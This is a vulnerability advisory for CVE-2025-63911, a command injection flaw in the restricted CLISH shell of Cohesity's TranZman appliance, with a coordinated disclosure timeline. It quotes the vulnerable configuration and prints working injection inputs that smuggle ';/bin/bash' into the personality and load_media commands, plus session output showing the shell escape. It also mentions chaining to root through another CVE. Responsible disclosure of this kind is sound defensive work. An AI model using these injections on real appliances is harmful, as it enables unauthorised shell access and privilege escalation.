| Field | Value |
|---|---|
| CVE ID | CVE-2025-63911 |
| CVSS v3.1 | 7.2 (High) |
| Vector | AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-78: OS Command Injection |
| Vendor | Cohesity, Inc. |
| Product | TranZman Migration Appliance |
| Affected Versions | Release 4.0 Build 14614 including patch TZM_1757588060_SEP2025_FULL.depot |
Multiple command injection vulnerabilities exist in the CLISH restricted shell
of the TranZman appliance. These allow the authenticated admin user to
escape the restricted environment and gain unrestricted shell access. The
shell escapes require privileged commands to be enabled (through the enable
command), resulting in a CVSS 3.1 score of 7.2.
The personality command in config-view.xml specifies a parameter of type
STRING which is passed to a shell script:
<!-- /etc/clish/config-view.xml -->
<ACTION>
sudo /opt/SRLtzm/bin/change_appliance_personality ${personality}
</ACTION>The STRING type as defined in types.xml performs insufficient sanitisation:
<!-- /etc/clish/types.xml -->
<PTYPE name="STRING"
pattern="[^\-]+"
help="String"/>The regex [^\-]+ accepts any character except hyphens, including shell
metacharacters such as semicolons, pipes, and dollar signs.
The below demonstrates a functional proof-of-concept that escapes to bash:
$ ssh admin@<IP_ADDRESS>
admin@<IP_ADDRESS>'s password:
**********************************************
* *
* Tranzman release 4.0 (BUILD 14614) *
* *
**********************************************
Welcome admin it is Fri 12 Sep 17:26:28 BST 2025
> config
> personality red;id
uid=1000(admin) gid=1000(admin) groups=1000(admin)
context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
> personality red;/bin/bash
[admin@tzm ~]$ id
uid=1000(admin) gid=1000(admin) groups=1000(admin)
context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
The load_media command in devices-view suffers from the same vulnerability:
<ACTION>
sudo /opt/SRLtzm/bin/load_media -media ${mediaid} -read -cep 7F000001
</ACTION>When the user inputs ;/bin/bash;, the resulting command becomes:
sudo /opt/SRLtzm/bin/load_media -media ;/bin/bash; -read -cep 7F000001
Proof-of-concept:
> load_media ;/bin/bash;
Usage: /opt/SRLtzm/scripts/perl/load_media.pl -read | -write | -share -media
MEDIA_ID -cep 0A0A0A0A [ -j jobid ]
[admin@tzm ~]$
An attacker who has the admin password (either through their regular job
function or by guessing the password) could leverage this vulnerability to
escape the restricted shell. While the escaped shell runs as admin
(uid=1000), the user operates in an unconfined SELinux context and can
leverage CVE-2025-63909 (TapeDumper) for privilege escalation to root.
Apply Cohesity patches in the following order:
TZM_patch_1.patchTZM_1760106063_OCT2025R2_FULL.depot
Contact Cohesity support for the latest OVA version with integrated fixes.
| Date | Event |
|---|---|
| 26 September 2025 | Reported to Cohesity |
| 20 October 2025 | Cohesity confirmed fix in patches |
| 25 December 2025 | Embargo period ended |
| 27 December 2025 | Public disclosure |
Discovered by Greg Durys, LME